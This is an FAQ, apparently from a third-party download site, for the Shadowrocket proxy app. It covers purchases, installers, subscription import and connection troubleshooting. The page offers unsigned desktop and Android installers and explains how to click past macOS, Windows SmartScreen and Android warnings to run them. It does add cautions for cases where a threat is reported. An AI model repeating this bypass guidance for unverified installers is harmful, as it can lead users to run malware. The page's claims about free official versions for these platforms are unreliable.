Shadowrocket for Mac · Official Guide
Shadowrocket Troubleshooting
Find help for each stage: check purchase history, choose the right installer, import an existing subscription, or diagnose connection issues. Interface instructions use iPhone and iPad as examples; installation steps are organized by device.
Purchase and app verification
Check the right platform first, then verify the store region and purchase history.
Can I use Shadowrocket on a computer or Android device?
Yes. The Mac (Apple Silicon and Intel), Windows, Android, and Linux versions are free, with installers available from this site at /dl/. The iPhone and iPad version is available from the App Store for a one-time US$2.99 purchase. Check the App Store listing for system requirements. Open app downloads and choose the option for your device. Buying the app once is not the same as buying a server plan: the purchase does not provide a server connection. Get subscriptions from your service provider.
Can't find Shadowrocket in the App Store? How to check
Start with the Shadowrocket App Store product page. Check that the developer is Shadow Launch Technology Limited, the official app icon has a white background with a blue-purple outline, and the product URL ends with app ID 932747118. If the page says the app isn't available in your region, check your device's Settings → Apple Account → Media & Purchases → View Account → Country/Region. If you need to change regions, follow Apple's on-screen instructions there and check any requirements, such as your balance, active subscriptions, and payment method. Changing regions does not guarantee the app will be available.
Do I need to buy Shadowrocket again after changing or resetting my device?
On your new iPhone or iPad, sign in to the App Store with the Apple Account used for the original purchase. Find Shadowrocket under your profile's Purchased section and tap the redownload button. You don't need to buy it again as long as that account can still redownload the listing. If you see a purchase button, check your purchase history, store region, and the account currently signed in under Media & Purchases. App purchase history is separate from server settings: before reinstalling, securely save any subscriptions and custom configurations you still need. A purchase record alone won't restore connection settings.
Can I install Shadowrocket on iPad and use the same purchase as on iPhone?
Yes. iPhone and iPad use the same App Store listing. After purchasing with an Apple Account, you can download the app from Purchased on another compatible device. Check the App Store listing for system requirements. If the app is installed on your iPad but no servers appear in Home, check whether you've imported your subscription on that device and whether the system allows a VPN configuration to be added. A connection shown on another device doesn't mean this device is set up.
Installation and first launch
Check your device architecture and the file's source first, then decide whether to proceed based on the system warning.
Which Mac version should I choose: Apple Silicon or Intel?
On your Mac, open the Apple menu in the top-left corner and select About This Mac. If it shows Chip and an Apple M-series model, choose the Apple Silicon version in the Mac downloads section. If it shows Processor and includes Intel, choose the Intel version. Don't guess based on appearance, purchase year, or browser detection. Open the disk image that matches your Mac, drag Shadowrocket.app into Applications, eject the disk image, then launch the app from Applications to avoid opening the copy inside the disk image.
Mac says it can't verify the developer when I open Shadowrocket for the first time. What should I do?
First, confirm the file came from this site's Mac downloads section, matches your Mac's processor, and that you've moved the app into Applications. If the only warning says the developer can't be verified, and you accept the risk of running the app, go to System Settings → Privacy & Security. Check for an Open Anyway option for Shadowrocket, then follow the system prompts. The installer is not code-signed. If macOS explicitly reports malware or a damaged file, or your Mac is managed by your organization, stop and get the file again from the downloads page or contact your administrator. Don't disable system-wide protections.
Windows SmartScreen appears when I run the installer for the first time. How do I assess the warning?
Distinguish SmartScreen's app reputation warning from an alert that Windows has detected a threat. The Windows installer is not code-signed. If you see only a reputation warning, have confirmed the file came from this site's Windows downloads section, and accept the risk, select More info, check the displayed filename, and choose Run anyway if Windows allows it. If security software explicitly reports a threat, you can't verify the file's source, or device management disables the button, stop. Don't turn off SmartScreen just to run one program.
Android or Linux: what should I check if the downloaded installer won't open?
On Android, first confirm that your device supports arm64, then download the matching installer again from the Android downloads section. If the system only says your browser or file manager isn't allowed to install apps, verify the file's source first. If you accept the risk, temporarily allow installs only for the app opening the file, then revoke that permission afterward. Stop if the system explicitly blocks a threat. On Linux, check that the package format matches your distribution: Debian-based systems commonly use deb, while Fedora-based systems commonly use rpm. AppImage files need execute permission. If you see a missing runtime dependency warning, follow your distribution's documentation.
Subscriptions and server import
Identify whether you have a subscription link or details for a single server, then choose the matching import method.
Subscription import failed: is the link wrong, or did the request fail?
Get your subscription link from your service provider. In Home, open Add Server, choose Subscribe, and paste the full link. Check for missing query parameters or extra spaces, line breaks, or punctuation copied from a chat message. Start by checking whether your current network can reach your provider. If the request times out, try another network you know works. If the format is invalid, make sure you copied a subscription link, not a login or service information page. If it still fails, share only the error text and when it occurred—never the full link.
I only have details for one server. Should I choose Subscribe?
No. Subscribe imports a group of servers managed through a subscription URL. If you have the details for a single server, open Add Server in Home, choose the type that matches the protocol specified by your provider, then enter the address, port, and required protocol settings. Don't enter one protocol as another just because both use an address and port. After saving, select the entry under SERVER and run Connectivity Test. If only this server fails, check its settings first rather than resetting the entire Config.
How do I update an imported subscription? What if my old server disappears after updating?
In Home, find the subscription group under SERVER and use its update action. There's no need to create a new Subscribe entry each time. If you have multiple groups, check the group name first to avoid refreshing the wrong one. After the update, check which server is selected. If the provider renamed or removed the old entry, select one from the updated group and run Connectivity Test. If the group is empty, first confirm the subscription is still valid and the update request completed. Don't delete other groups until you know what happened.
Can I send someone an error screenshot and configuration file to troubleshoot?
Remove sensitive information first. Query parameters in subscription links, QR codes, server credentials, and full configurations may contain information that grants access to a service. Usually, it's enough to describe the steps you took and include your device OS, the error text, your network type, and whether the problem occurred during import, update, or connection. Crop screenshots to the relevant error and hide the address bar, personal identifiers under SERVER, and credentials. For configuration issues, share only the shortest relevant rule snippet and replace real internal domains with example.com.
Routing rules and connection troubleshooting
First determine whether the problem is with the connection switch or website access, then check the routing mode and rules.
The Home connection switch won't turn on, or it disconnects right away. What should I check?
First, select an existing server under SERVER, then turn on the connection switch in Home. The first time you connect on iPhone or iPad, the system asks for permission to add a VPN configuration. If you dismissed the prompt, try turning the switch on again to see if it reappears. Also check whether another VPN is running or device management restricts VPN settings. If the switch turns on briefly and then off, note the exact message and when it appeared. Determine whether it's a permissions issue or a server connection failure before deleting any existing configuration.
It says connected, but webpages won't load. What should I test next?
Disconnect and, on the same network, open a site you normally access directly to confirm the underlying connection works. If hotel or public Wi-Fi requires a sign-in page, complete that first. Reconnect, run Connectivity Test for the selected server, and check whether all webpages fail or only one domain. If all fail, investigate the server and network first. If only one domain fails, check the matching policy for that domain in the current Config and your DNS settings. A successful test doesn't guarantee every site will load. Change one setting at a time so you can identify what made a difference.
When should I use Config, Proxy, or Direct in Global Routing?
Config uses the rules in your current configuration to choose a policy for each connection. Use it when you have rules set up and want to handle different destinations separately. Proxy routes traffic handled by the client through the selected proxy; it can help you check whether a failure is related to rule matching. Direct sends traffic handled by the client without a proxy. Use it to compare direct access, but note that it doesn't turn off the VPN. For a fair comparison, use the same network, server, and URL. Switch back to your usual mode when you're done.
The interface is in English. Where can I find the main options?
Start in Home to connect and choose a server; Global Routing is also available there. Use Config to edit or switch rule files, Data to view traffic logs, and Settings for common options. Note that there are two Config entries: Config under Global Routing is a routing mode, while the Config tab at the bottom is where you manage configuration files. Switching the routing mode doesn't change the rule file selected in the Config tab. Locations vary by platform; see the user guide for examples and a navigation overview.
How can I tell whether increased battery use is related to a Shadowrocket connection?
Check app activity under Battery in your system settings, then compare it with your connection times and traffic records in Data. Heavy video streaming, background sync, a weak signal, or frequent reconnects can all increase battery use. A single battery percentage can't identify the cause. Compare two sessions of similar length on the same network and keep your usage as consistent as possible, changing one condition at a time. If On Demand is enabled, check whether it repeatedly triggers as you switch between Wi-Fi and cellular. If manual connections are sufficient, consider reducing the trigger conditions.